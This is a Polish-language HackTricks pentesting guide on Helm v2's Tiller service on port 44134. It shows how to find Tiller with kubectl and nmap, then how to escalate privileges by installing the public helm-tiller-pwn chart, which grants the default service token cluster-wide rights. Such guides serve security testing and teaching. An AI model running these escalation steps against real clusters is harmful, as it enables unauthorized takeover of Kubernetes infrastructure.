hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
2024-02-11 01:46:25 +00:00

5.4 KiB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Helm to menedżer pakietów dla Kubernetes. Pozwala na pakietowanie plików YAML i dystrybucję ich w publicznych i prywatnych repozytoriach. Te pakiety nazywane są Helm Charts. Tiller to usługa, która domyślnie działa na porcie 44134, oferując swoje usługi.

Domyślny port: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Wyliczanie

Jeśli możesz wyliczyć podsy i/lub usługi różnych przestrzeni nazw, wylicz je i poszukaj tych, które mają w nazwie "tiller":

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Przykłady:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Możesz również spróbować znaleźć usługę, sprawdzając port 44134:

sudo nmap -sS -p 44134 <IP>

Gdy już go odkryjesz, możesz się z nim skomunikować, pobierając aplikację klienta helm. Możesz użyć narzędzi takich jak homebrew, lub zajrzeć na oficjalną stronę wydań. Aby uzyskać więcej szczegółów lub inne opcje, zobacz przewodnik instalacji.

Następnie możesz przeanalizować usługę:

helm --host tiller-deploy.kube-system:44134 version

Eskalacja uprawnień

Domyślnie Helm2 został zainstalowany w przestrzeni nazw kube-system z wysokimi uprawnieniami, więc jeśli znajdziesz usługę i masz do niej dostęp, możesz wykorzystać to do eskalacji uprawnień.

Wszystko, co musisz zrobić, to zainstalować pakiet tak jak ten: https://github.com/Ruil1n/helm-tiller-pwn, który umożliwi domyślnemu tokenowi usługi dostęp do wszystkiego w całym klastrze.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

W http://rui0.cn/archives/1573 znajduje się wyjaśnienie ataku, ale w zasadzie, jeśli przeczytasz pliki clusterrole.yaml i clusterrolebinding.yaml w folderze helm-tiller-pwn/pwnchart/templates/ możesz zobaczyć, jak wszystkie uprawnienia są przyznawane domyślnemu tokenowi.

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: